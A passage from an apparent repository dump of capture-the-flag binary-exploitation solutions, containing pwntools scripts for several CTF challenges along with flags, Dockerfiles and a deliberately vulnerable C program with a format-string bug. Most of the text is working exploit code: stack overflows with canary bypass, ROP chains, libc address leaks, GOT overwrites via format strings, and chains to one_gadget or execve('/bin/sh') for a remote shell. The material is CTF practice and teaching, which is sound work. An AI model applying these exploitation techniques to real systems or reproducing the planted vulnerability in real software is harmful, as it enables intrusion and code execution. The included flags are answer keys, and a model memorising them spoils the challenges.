target.sendline(b'3') 65 | 66 | print(target.recvuntil(b'Do you want to feed it?')) 67 | 68 | padding = b'a' * 40 + canary + b'b' * 8 69 | payload = padding 70 | 71 | payload += p64(onegadget) 72 | 73 | target.sendline(payload) 74 | 75 | target.interactive() 76 | -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/Harvester/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HTB_Apocalypse_2021/Harvester/libc.so.6 -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/close_the_door/close_the_door: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HTB_Apocalypse_2021/close_the_door/close_the_door -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/close_the_door/close_the_door_payload.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #target = process('./close_the_door', env={"LD_PRELOAD":"./libc.so.6"}) 4 | target = remote('138.68.182.108', 32576) 5 | #244, 164 6 | #pid = gdb.attach(target, "\nb *hidden_func+164\n set disassembly-flavor intel\ncontinue") 7 | 8 | 9 | 10 | elf = ELF("close_the_door") 11 | libc = ELF("libc.so.6") 12 | #Gadgets: 13 | 14 | #onegadget_offset = 0x4f3d5 15 | onegadget_offset = 0x4f432 16 | pop_rdi = p64(0x0000000000400b53) # : pop rdi ; ret 17 | write_plt = p64(0x00400660) 18 | csu_pops = p64(0x00400b4a) 19 | csu_movs = p64(0x00400b30) 20 | init = p64(0x601dc0) 21 | write_got_plt = p64(0x601fb0) 22 | hidden_func = p64(0x00400814) 23 | main = p64(0x00400909) 24 | check = p64(0x00602050) 25 | read_plt = p64(0x004006a0) 26 | pop_rsi = p64(0x0000000000400b51) # : pop rsi ; pop r15 ; ret 27 | empty = p64(0x602280) 28 | 29 | print(target.recvuntil(b'Any ideas where to search')) 30 | 31 | payload = b'1' * 0xf 32 | 33 | target.sendline(payload) 34 | 35 | print(target.recvuntil(b'Give up')) 36 | 37 | target.sendline(b'42') 38 | 39 | print(target.recvuntil(b'Do you think this is the secret password?')) 40 | 41 | padding = b'a' * 72 42 | payload = padding 43 | #payload = cyclic(600) 44 | 45 | payload += csu_pops 46 | payload += p64(0) #rbx 47 | payload += p64(1) # rbp 48 | payload += init #r12 gets 49 | payload += p64(1) #r13 goes to edi 50 | payload += write_got_plt #r14, goes to rsi 51 | payload += p64(0x8) # r15, goes to rdx 52 | 53 | payload += csu_movs 54 | payload += b'a' * 8 #for the rsp+8 55 | payload += b'a' * 8 * 6 #for the pops 56 | 57 | 58 | payload += write_plt 59 | 60 | 61 | #check has to be set to 0 or it won't work. 62 | 63 | payload += csu_pops 64 | payload += p64(0) #rbx 65 | payload += p64(1) # rbp 66 | payload += init #r12 gets called 67 | payload += p64(0) #r13 goes to edi 68 | payload += check #r14, goes to rsi 69 | payload += p64(0x8) # r15, goes to rdx 70 | 71 | payload += csu_movs 72 | payload += b'a' * 8 #for the rsp+8 73 | payload += b'a' * 8 * 6 #for the pops 74 | payload += read_plt 75 | 76 | 77 | #Adding this fixes things locally, but not against the server 78 | 79 | payload += pop_rsi 80 | payload += empty 81 | payload += p64(0) 82 | payload += read_plt 83 | 84 | #And call hidden_function again 85 | payload += pop_rdi 86 | payload += p64(1) 87 | 88 | payload += hidden_func 89 | 90 | #payload += main 91 | 92 | target.sendline(payload) 93 | print('payload sent') 94 | payload2 = b'\x00' * 8 + b'\x00' 95 | target.sendline(payload2) 96 | #The timeout saved the exploit. Thanks Cameron. 97 | result = target.recvuntil(b'Do you', timeout=1) 98 | print('result obtained', result) 99 | #print(target.recvuntil(b'Any ideas where to search')) 100 | #result = target.recvuntil(b'Any') 101 | 102 | write_libc = result.replace(b'Do you', b'').replace(b'\n>', b'') 103 | #write_libc = result.replace(b'Any', b'').replace(b'\n>', b'') 104 | print(len(write_libc[1:9])) 105 | write_libc_num = u64(write_libc[1:9]) 106 | print(hex(write_libc_num)) 107 | 108 | libc_base = write_libc_num - libc.symbols['write'] 109 | onegadget = libc_base + onegadget_offset 110 | strlen_libc = libc_base + libc.symbols["strlen"] 111 | print(hex(strlen_libc)) 112 | 113 | print(target.recvuntil(b' think this is the secret password?')) 114 | 115 | 116 | payload = padding 117 | #Something is wrong with my onegadget now >:( 118 | payload += p64(onegadget) + b'\x00' * 0x50 119 | #payload = cyclic(300) 120 | target.sendline(payload) 121 | 122 | #print(target.recvall()) 123 | 124 | target.interactive() 125 | 126 | #CHTB{f_cl0s3d_d00r5_w1ll_n0t_st0p_us} 127 | -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/close_the_door/flag.txt: -------------------------------------------------------------------------------- 1 | CHTB{f_cl0s3d_d00r5_w1ll_n0t_st0p_us} 2 | -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/close_the_door/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HTB_Apocalypse_2021/close_the_door/libc.so.6 -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/controller/controller: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HTB_Apocalypse_2021/controller/controller -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/controller/controller_payload.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #Note: The ld_preload trick tends not to work on Kali. I have a bionic beaver VM I run these on if necessary. 4 | #target = process('./controller', env={"LD_PRELOAD":"./libc.so.6"}) 5 | 6 | #pid = gdb.attach(target, "\nb *calculator+151\n set disassembly-flavor intel\ncontinue") 7 | 8 | #Insert here 9 | target = remote('206.189.121.131', 30388) 10 | 11 | elf = ELF("controller") 12 | libc = ELF("libc.so.6") 13 | 14 | #Gadgets: 15 | 16 | puts_got_plt = p64(0x601fb0) 17 | puts_plt = p64(0x00400630) 18 | pop_rdi = p64(0x00000000004011d3) # : pop rdi ; ret 19 | main = p64(0x00401124) 20 | onegadget_offset = 0x4f3d5 21 | 22 | print(target.recvuntil(b'Insert the amount of 2 different types of recources:')) 23 | 24 | #I can hit the error with -18 11 then 3 25 | target.sendline(b'-18') 26 | target.sendline(b'11') 27 | 28 | print(target.recvuntil(b'4.')) 29 | 30 | target.sendline(b'3') 31 | 32 | print(target.recvuntil(b'Do you want to report the problem?')) 33 | 34 | padding = b'a' * 40 35 | 36 | payload = padding 37 | payload += pop_rdi 38 | payload += puts_got_plt 39 | payload += puts_plt 40 | payload += main 41 | 42 | target.sendline(payload) 43 | result = target.recvuntil(b'Control Room') 44 | result_list = result.split(b'\n') 45 | leak_unproc = result_list[2] 46 | leak_unproc += b'\x00' * 2 47 | puts_libc = u64(leak_unproc) 48 | 49 | print(hex(puts_libc)) 50 | libc_base = puts_libc - libc.symbols['puts'] 51 | strlen_libc = libc_base + libc.symbols["strlen"] 52 | onegadget = libc_base + onegadget_offset 53 | #Verifying my offsets work. I compare the output here with the GOT entry for strlen in gdb. 54 | print(hex(strlen_libc)) 55 | 56 | print(target.recvuntil(b'Insert the amount of 2 different types of recources:')) 57 | target.sendline(b'-18') 58 | target.sendline(b'11') 59 | print(target.recvuntil(b'4.')) 60 | target.sendline(b'3') 61 | print(target.recvuntil(b'Do you want to report the problem?')) 62 | 63 | 64 | payload = padding 65 | payload += p64(onegadget) 66 | target.sendline(payload) 67 | 68 | target.interactive() 69 | 70 | #CHTB{1nt3g3r_0v3rfl0w_s4v3d_0ur_r3s0urc3s} 71 | -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/controller/flag.txt: -------------------------------------------------------------------------------- 1 | CHTB{1nt3g3r_0v3rfl0w_s4v3d_0ur_r3s0urc3s} 2 | -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/controller/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HTB_Apocalypse_2021/controller/libc.so.6 -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/environment/environment: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HTB_Apocalypse_2021/environment/environment -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/environment/environment_payload.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | target = process('./environment', env={"LD_PRELOAD":"./libc.so.6"}) 4 | #target = remote('165.227.231.249', 30917) 5 | 6 | pid = gdb.attach(target, "\nb *plant+240\nb *form+316\n set disassembly-flavor intel\ncontinue") 7 | 8 | 9 | 10 | elf = ELF("environment") 11 | libc = ELF("libc.so.6") 12 | #Gadgets: 13 | 14 | hidden_resources = 0x004010b5 15 | 16 | def recycle_no(): 17 | print(target.recvuntil(b'2. Recycle')) 18 | target.sendline(b'2') 19 | print(target.recvuntil(b'What do you want to recycle?')) 20 | 21 | target.sendline(b'1') 22 | print(target.recvuntil(b'Is this your first time recycling? (y/n)')) 23 | target.sendline(b'n') 24 | 25 | for i in range(5): 26 | recycle_no() 27 | 28 | print(target.recvuntil(b' Please accept this gift: \x1b[0m[')) 29 | leak = target.recvuntil(b']\n\x1b') 30 | printf_libc_str = leak.replace(b']\n\x1b', b'') 31 | 32 | printf_libc = int(printf_libc_str, 16) 33 | print('printf_libc is', hex(printf_libc)) 34 | 35 | libc_base = printf_libc - libc.symbols['printf'] 36 | environ = libc_base + libc.symbols['environ'] 37 | 38 | target.sendline(b'2') 39 | print(target.recvuntil(b'What do you want to recycle?')) 40 | #Note: 1 or 2 makes little difference; if I select neither, it prints we are doomed and doesn't execute form 41 | target.sendline(b'1') 42 | print(target.recvuntil(b'Is this your first time recycling? (y/n)')) 43 | target.sendline(b'n') 44 | 45 | for i in range(4): 46 | recycle_no() 47 | 48 | print(target.recvuntil(b'whatever you want.')) 49 | target.sendline(str(environ).encode()) 50 | 51 | result = target.recvuntil(b'1. Pl') 52 | stack_leak = result.replace(b'1. Pl', b'').replace(b'\n> \x1b[0m', b'').replace(b'\n\x1b[1;0;32m\n', b'') 53 | 54 | print(stack_leak) 55 | print(len(stack_leak)) 56 | stack = u64(stack_leak + (8 - len(stack_leak)) * b'\x00') 57 | print('stack', hex(stack)) 58 | 59 | overwrite_point = stack - 288 60 | 61 | #Code to do the overwrite once I've figured out what should go in there... 62 | print(target.recvuntil(b'2. Recycle')) 63 | target.sendline(b'1') 64 | print(target.recvuntil(b'2. ')) 65 | target.sendline(str(overwrite_point).encode()) 66 | print(target.recvuntil(b'2. Forest')) 67 | 68 | target.sendline(str(hidden_resources).encode()) 69 | 70 | 71 | target.interactive() 72 | -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/environment/flag.txt: -------------------------------------------------------------------------------- 1 | CHTB{u_s4v3d_th3_3nv1r0n_v4r14bl3!} 2 | -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/environment/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HTB_Apocalypse_2021/environment/libc.so.6 -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/system_dROP/flag.txt: -------------------------------------------------------------------------------- 1 | CHTB{n0_0utput_n0_pr0bl3m_w1th_sr0p} 2 | -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/system_dROP/screenshots/Blukat_Screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HTB_Apocalypse_2021/system_dROP/screenshots/Blukat_Screenshot.png -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/system_dROP/system_drop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HTB_Apocalypse_2021/system_dROP/system_drop -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/system_dROP/system_drop_payload.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | target = process('./system_drop', env={"LD_PRELOAD":"./system_drop_libc.so"}) 4 | 5 | pid = gdb.attach(target, "\nb *main+45\n set disassembly-flavor intel\ncontinue") 6 | 7 | #target = remote ('139.59.168.47', 31111) 8 | 9 | elf = ELF("system_drop") 10 | libc = ELF("system_drop_libc.so") 11 | 12 | #Gadgets: 13 | 14 | onegadget_offset = 0x4f432 15 | read_got_plt = p64(0x601020) 16 | alarm_got_plt = p64(0x601018) 17 | main = p64(0x00400541) 18 | 19 | pop_rdi = p64(0x00000000004005d3) # : pop rdi ; ret 20 | pop_rsi = p64(0x00000000004005d1) # : pop rsi ; pop r15 ; ret 21 | 22 | 23 | syscall = p64(0x000000000040053b) # : syscall 24 | 25 | padding = b'a' * 40 26 | 27 | payload = padding 28 | payload += pop_rdi 29 | payload += p64(1) 30 | payload += pop_rsi 31 | payload += alarm_got_plt + p64(0) 32 | payload += syscall 33 | payload += main 34 | 35 | 36 | target.sendline(payload) 37 | 38 | result = target.recvuntil(b'\x00\x00\x00', timeout = 100) 39 | print('We got result') 40 | print(result) 41 | alarm_unproc = result[:8] 42 | alarm_libc = u64(alarm_unproc) 43 | print(hex(alarm_libc)) 44 | #The library is libc6_2.27-3ubuntu1.4_amd64 45 | 46 | libc_base = alarm_libc - libc.symbols['alarm'] 47 | onegadget = libc_base + onegadget_offset 48 | 49 | payload = padding 50 | 51 | payload += p64(onegadget) + b'\x00' * 0x50 52 | 53 | target.sendline(payload) 54 | 55 | target.interactive() 56 | -------------------------------------------------------------------------------- /pwn_challs/HTB_Uni_Quals_21/arachnoid_heaven/arachnoid_heaven: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HTB_Uni_Quals_21/arachnoid_heaven/arachnoid_heaven -------------------------------------------------------------------------------- /pwn_challs/HTB_Uni_Quals_21/arachnoid_heaven/arachnoid_writeup.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #target = process('./arachnoid_heaven') 4 | 5 | #pid = gdb.attach(target, "\nb *craft_arachnoid\nb *view_arachnoid\n set disassembly-flavor intel\ncontinue") 6 | 7 | target = remote('64.227.38.214', 30311) 8 | 9 | def craft_arachnoid(name): 10 | print(target.recvuntil(b'>')) 11 | target.sendline(b'1') 12 | print(target.recvuntil(b'Name:')) 13 | target.sendline(name) 14 | 15 | def delete_arachnoid(index): 16 | print(target.recvuntil(b'>')) 17 | target.sendline(b'2') 18 | print(target.recvuntil(b'Index:')) 19 | target.sendline(index) 20 | def view_arachnoid(): 21 | print(target.recvuntil(b'>')) 22 | target.sendline(b'3') 23 | 24 | def obtain_arachnoid(index): 25 | print(target.recvuntil(b'>')) 26 | target.sendline(b'4') 27 | print(target.recvuntil(b'Arachnoid:')) 28 | target.sendline(index) 29 | 30 | craft_arachnoid(b'hello') 31 | 32 | delete_arachnoid(b'0') 33 | view_arachnoid() 34 | 35 | craft_arachnoid(b'sp1d3y') 36 | 37 | view_arachnoid() 38 | obtain_arachnoid(b'0') 39 | 40 | target.interactive() 41 | 42 | #HTB{l3t_th3_4r4chn01ds_fr3333} 43 | 44 | -------------------------------------------------------------------------------- /pwn_challs/HTB_Uni_Quals_21/robot_factory/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HTB_Uni_Quals_21/robot_factory/libc.so.6 -------------------------------------------------------------------------------- /pwn_challs/HTB_Uni_Quals_21/robot_factory/robot_factory: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HTB_Uni_Quals_21/robot_factory/robot_factory -------------------------------------------------------------------------------- /pwn_challs/HTB_Uni_Quals_21/robot_factory/robot_factory_writeup.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #target = process('./robot_factory', env={"LD_PRELOAD":"./libc.so.6"}) 4 | 5 | #pid = gdb.attach(target, "b *create_robot+145\nb *do_string+138\nb *multiply_func+124\nb *do_robot\nb *start_thread+213\n set disassembly-flavor intel\ncontinue") 6 | 7 | 8 | libc = ELF('libc.so.6') 9 | elf = ELF('robot_factory') 10 | 11 | target = remote('64.227.38.214', 30031) 12 | 13 | #Getting libc leak: 14 | 15 | print(target.recvuntil(b'>')) 16 | target.sendline(b'n') 17 | 18 | print(target.recvuntil(b'>')) 19 | target.sendline(b'a') 20 | 21 | print(target.recvuntil(b'1:')) 22 | target.sendline(b'2') 23 | 24 | print(target.recvuntil(b'2:')) 25 | target.sendline(b'2') 26 | 27 | print(target.recvuntil(b'Result: ')) 28 | 29 | result = target.recvuntil(b'\n').strip() 30 | print(result) 31 | 32 | leak = int(result) 33 | 34 | puts_libc = leak + 0x8af6d8 35 | libc_base = puts_libc - libc.symbols['puts'] 36 | 37 | 38 | #print(target.recvuntil(b'>')) 39 | target.sendline(b's') 40 | 41 | print(target.recvuntil(b'>')) 42 | target.sendline(b'm') 43 | 44 | print(target.recvuntil(b'1:')) 45 | 46 | binsh = libc_base + next(libc.search(b'/bin/sh\x00')) 47 | 48 | pop_rdi = p64(0x0000000000401ad3) # : pop rdi ; ret 49 | pop_rsi = p64(libc_base + 0x0000000000027529) # : pop rsi ; ret 50 | pop_rdx_r12 = p64(libc_base + 0x000000000011c371) # : pop rdx ; pop r12 ; ret 51 | execve = libc_base + libc.symbols['execve'] 52 | printf_libc = libc_base + libc.symbols['printf'] 53 | puts_libc = libc_base + libc.symbols['puts'] 54 | puts_plt = elf.symbols['puts'] 55 | puts_got = elf.got['puts'] 56 | 57 | #My libcs are off, but the ROPchain basically works 58 | ropchain = b'e' * 8 + pop_rdi + p64(binsh) + pop_rsi + p64(0) + pop_rdx_r12 + p64(0) * 2 + p64(execve) 59 | #I used this alternate ropchain: 60 | #ropchain = b'e' * 8 + pop_rdi + p64(puts_got) + p64(puts_plt) 61 | ropchain += b'f' * (0x78 - len(ropchain)) 62 | 63 | payload = b'c' * 0x28 + b'a' * 8 + ropchain + b'a' * 8 + b'b' * 0x30 64 | print('This needs to be 0xe0', hex(len(payload))) 65 | 66 | target.sendline(payload) 67 | print(target.recvuntil(b'size:')) 68 | 69 | target.sendline(b'10') 70 | #target.interactive() 71 | 72 | #And this stuff down here to get the remote offset for my libc leak. This way I didn't have to deal with looping back to main. 73 | ''' 74 | print(target.recvuntil(b'(n/s) > ')) 75 | new_leak = target.recv(6) 76 | print(new_leak) 77 | puts_libc = u64(new_leak + b'\x00' * 2) 78 | print(hex(puts_libc)) 79 | 80 | print('as a reminder, the leak is at', hex(leak)) 81 | print('to get puts_libc, I need to add', hex(puts_libc - leak), 'to my leak') 82 | ''' 83 | target.interactive() 84 | -------------------------------------------------------------------------------- /pwn_challs/HackyHolidays_SpaceRace/engine_control/engine.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | 6 | int main(void) { 7 | 8 | char i[200] = {0}; 9 | setbuf(stdout, 0); 10 | 11 | printf("\033[1mCommand: \033[0m"); 12 | 13 | while(fgets(i, 200, stdin)!=NULL) { 14 | i[strcspn(i,"\n")] = 0; 15 | 16 | if (strlen(i) > 0) { 17 | printf("Running command ("); 18 | printf(i); 19 | printf(") now on engine.\n"); 20 | } 21 | 22 | printf("\033[1mCommand: \033[0m"); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /pwn_challs/HackyHolidays_SpaceRace/engine_control/engine.py: -------------------------------------------------------------------------------- 1 | from pwnlib.tubes.process import * 2 | from pwnlib.term.readline import * 3 | from pwnlib.util import * 4 | import sys 5 | import string 6 | 7 | l = tube() 8 | l.send_raw = lambda x: (sys.stdout.buffer.write(x), sys.stdout.flush()) 9 | l.connected_raw = lambda d: True 10 | 11 | p = process("./engine") 12 | 13 | t = tube() 14 | t.send_raw = lambda x: l.send(x) 15 | t.connected_raw = lambda d: True 16 | t.shutdown = lambda d: l.close() 17 | 18 | p.connect_output(t) 19 | 20 | while True: 21 | if not p.connected(): 22 | l.close() 23 | 24 | inp = str_input() 25 | 26 | if any(c not in string.ascii_letters + string.digits + string.punctuation for c in inp): 27 | l.sendline("Invalid input.") 28 | p.sendline() 29 | else: 30 | p.sendline(inp) 31 | -------------------------------------------------------------------------------- /pwn_challs/HackyHolidays_SpaceRace/engine_control/engine_control_ubuntu_18: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HackyHolidays_SpaceRace/engine_control/engine_control_ubuntu_18 -------------------------------------------------------------------------------- /pwn_challs/HackyHolidays_SpaceRace/engine_control/engine_control_writeup_1.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | for i in range(1, 130): 4 | target = remote('portal.hackazon.org', 17003) 5 | 6 | print(target.recvuntil(b'Command:')) 7 | payload = b'%' + str(i).encode('ascii') + b'$s' 8 | target.sendline(payload) 9 | print(target.recvuntil(b'Command:', timeout=1)) 10 | target.close() 11 | -------------------------------------------------------------------------------- /pwn_challs/HackyHolidays_SpaceRace/engine_control/engine_control_writeup_2.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | target = remote('portal.hackazon.org', 17003) 4 | 5 | libc = ELF("libc6_2.27-3ubuntu1.4_amd64.so") 6 | # 0x7ff1dbc4d432 7 | #Gadgets: 8 | fgets_got_plt = 0x601030 #Note that it ends in a null, so not a great traditional leak. 9 | strcspn_got_plt = 0x601020 10 | printf_got_plt = 0x601018 11 | setbuf_got_plt = 0x601010 12 | 13 | print(target.recvuntil(b'Command:')) 14 | payload = b'%p' * 100 15 | target.sendline(payload) 16 | 17 | print(target.recvuntil(b'Command:')) 18 | 19 | payload = b'%' + str(strcspn_got_plt).encode('ascii') + b'x%60$n' + b'%32$n' 20 | target.sendline(payload) 21 | 22 | print(target.recvuntil(b'Command:')) 23 | payload = b'%61$s' 24 | target.sendline(payload) 25 | print(target.recvuntil(b'engine')) 26 | print(target.recvuntil(b'command (')) 27 | result = target.recvuntil(b') now') 28 | print(result) 29 | leak = result.replace(b') now', b'') 30 | print(leak) 31 | 32 | strcspn_libc = u64(leak + b'\x00' * (8-len(leak))) 33 | print(hex(strcspn_libc)) 34 | 35 | #For some reason the offset of strcspn is a bit dodgy, using printf as a middleman was easiest. 36 | printf_libc = strcspn_libc - 0x125040 37 | print('printf libc is', hex(printf_libc)) 38 | libc_base = printf_libc - libc.symbols["printf"] 39 | system = libc_base + libc.symbols["system"] 40 | print("The system address is at", hex(system)) 41 | 42 | 43 | 44 | system_low_two = int(hex(system)[10:15], 16) 45 | system_next_two = int(hex(system)[6:10], 16) 46 | 47 | #This will let us overwrite the next lowest two bytes of strcspn's GOT entry. 48 | payload = b'%' + str(0x20 + 2).encode('ascii') + b'x%32$hhn' 49 | 50 | target.sendline(payload) 51 | print(target.recvuntil(b'Command')) 52 | payload = b'%' + str(system_low_two).encode('ascii') + b'x%61$hn' 53 | #This took some trial and error. 54 | if system_next_two > system_low_two: 55 | payload += b'%' + str(system_next_two - system_low_two).encode('ascii') + b'x%62$hn' 56 | else: 57 | payload += b'%' + str(0xffff - system_low_two + system_next_two + 1).encode('ascii') + b'x%62$hn' 58 | 59 | 60 | target.sendline(payload) 61 | print(target.recvuntil(b'Command')) 62 | target.sendline(b'/bin/sh') 63 | 64 | 65 | target.interactive() 66 | 67 | -------------------------------------------------------------------------------- /pwn_challs/ICHSA_CTF_21/COP/DockerInstructions.md: -------------------------------------------------------------------------------- 1 | ##### Building the docker 2 | `docker build -t cop .` 3 | 4 | ##### Running the docker 5 | `docker run -p localhost:6666:6666 cop` -------------------------------------------------------------------------------- /pwn_challs/ICHSA_CTF_21/COP/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 as builder 2 | RUN apt update 3 | RUN apt install -y build-essential 4 | WORKDIR /root/ 5 | COPY chalenge.c chalenge.h ./ 6 | RUN gcc chalenge.c -Os -static -o game 7 | 8 | FROM ubuntu:18.04 9 | 10 | # Add socat 11 | RUN apt update 12 | RUN apt install -y socat 13 | 14 | # Copy application source 15 | WORKDIR /home/challenge 16 | COPY --from=builder /root/game ./ 17 | COPY flag.txt ./ 18 | 19 | # Set non-root user 20 | RUN adduser "--disabled-password" user 21 | USER user 22 | 23 | # Set port 24 | EXPOSE 6666 25 | 26 | CMD ["socat","-T60", "TCP-LISTEN:6666,reuseaddr,fork", "EXEC:'/home/challenge/game'"] 27 | -------------------------------------------------------------------------------- /pwn_challs/ICHSA_CTF_21/COP/cop.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/ICHSA_CTF_21/COP/cop.gif -------------------------------------------------------------------------------- /pwn_challs/ICHSA_CTF_21/COP/cop_payload.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | target = remote('cop.ichsa.ctf.today', 8011) 4 | 5 | #target = process('./game') 6 | 7 | #conts = '\nc' * 15 8 | #pid = gdb.attach(target, "\nb *play_next_round+405" + conts + "\n set disassembly-flavor intel\ncontinue") 9 | 10 | from ctypes import CDLL 11 | from math import * 12 | 13 | #I used this one on a Kali machine. 14 | libc = CDLL('libc-2.31.so') 15 | #This one will work on an Ubuntu 18.04 16 | #libc = ELF('libc.so.6') 17 | 18 | libc.srand(0) 19 | 20 | correct_array = [] 21 | 22 | for i in range(170): 23 | rand_num = libc.rand() 24 | correct_num = rand_num % 3 + 1 25 | correct_array.append(correct_num) 26 | def play_round(selected_num): 27 | print(target.recvuntil(b'Please chose an option [')) 28 | target.sendline(b'2') 29 | print(target.recvuntil(b'Please chose an option [')) 30 | target.sendline(selected_num) 31 | 32 | #This will give me enough points to do anything. 33 | for i in range(15): 34 | comp_choice = correct_array[i] 35 | if comp_choice == 1: 36 | play_round(str(2).encode('ascii')) 37 | elif comp_choice == 2: 38 | play_round(str(3).encode('ascii')) 39 | else: 40 | play_round(str(1).encode('ascii')) 41 | 42 | for i in range(249): 43 | print(target.recvuntil(b'Please chose an option [')) 44 | target.sendline(b'3') 45 | 46 | print(target.recvuntil(b'Please chose the number of games to skip [')) 47 | 48 | target.sendline(b'255') 49 | 50 | print(target.recvuntil(b'Please chose an option [')) 51 | target.sendline(b'3') 52 | print(target.recvuntil(b'Please chose the number of games to skip [')) 53 | target.sendline(b'150') 54 | 55 | print(target.recvuntil(b'Please chose an option [')) 56 | target.sendline(b'4') 57 | 58 | print(target.recvuntil(b'Please chose an option [')) 59 | target.sendline(b'5') 60 | print(target.recvuntil(b'Enter your new username')) 61 | #I established this level of padding with gdb and cyclic. 62 | padding = b'a' * (30 - 16) 63 | 64 | name = padding 65 | name += p64(100) #Play number, doesn't really matter 66 | name += p64(0x0000000000401813) #The address part-way through flag 67 | name += p64(2) #The computer's selected handsignal, doesn't really matter. 68 | target.sendline(name) 69 | 70 | play_round(b'3') 71 | 72 | target.interactive() 73 | -------------------------------------------------------------------------------- /pwn_challs/ICHSA_CTF_21/COP/description.md: -------------------------------------------------------------------------------- 1 | #### Hi COP 2 | 3 | I wrote a game that should be impossible to win. 4 | 5 | A friend of mine managed to get the flag in a few seconds. 6 | 7 | Can you help me find out how? 8 | 9 | ![ALT](/COP/COP/cop.gif) 10 | 11 | -------------------------------------------------------------------------------- /pwn_challs/ICHSA_CTF_21/COP/flag.txt: -------------------------------------------------------------------------------- 1 | ICHSA_CTF{dummy_flag} -------------------------------------------------------------------------------- /pwn_challs/ICHSA_CTF_21/Epic_Game/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM gcc:10-buster as build 2 | 3 | RUN mkdir -p /app 4 | COPY epic_game.c epic_game.h /app 5 | 6 | WORKDIR /app 7 | 8 | RUN gcc epic_game.c -fstack-protector -fpie -fPIE -fpic -o app.out 9 | 10 | FROM debian:buster-slim as app 11 | 12 | WORKDIR /app 13 | COPY flag.txt /app/ 14 | RUN chmod 0444 /app/flag.txt 15 | 16 | COPY --from=build /app/app.out /app/app.out 17 | 18 | RUN apt-get update && apt-get install -y socat 19 | 20 | # Set non root user 21 | RUN useradd -c 'User' -m -d /home/user -s /bin/bash user 22 | RUN chown -R user:user /home/user 23 | 24 | USER user 25 | ENV HOME /home/user 26 | 27 | EXPOSE 8007 28 | CMD ["socat", "-dd", "-T60", "TCP4-LISTEN:8007,fork,reuseaddr", "EXEC:/app/app.out,pty,setuid=user,echo=0,raw,iexten=0"] -------------------------------------------------------------------------------- /pwn_challs/ICHSA_CTF_21/Epic_Game/README.txt: -------------------------------------------------------------------------------- 1 | run and build using: 2 | docker compose up --build -------------------------------------------------------------------------------- /pwn_challs/ICHSA_CTF_21/Epic_Game/app.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/ICHSA_CTF_21/Epic_Game/app.out -------------------------------------------------------------------------------- /pwn_challs/ICHSA_CTF_21/Epic_Game/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | 3 | services: 4 | app: 5 | build: . 6 | ports: 7 | - "8007:8007" 8 | 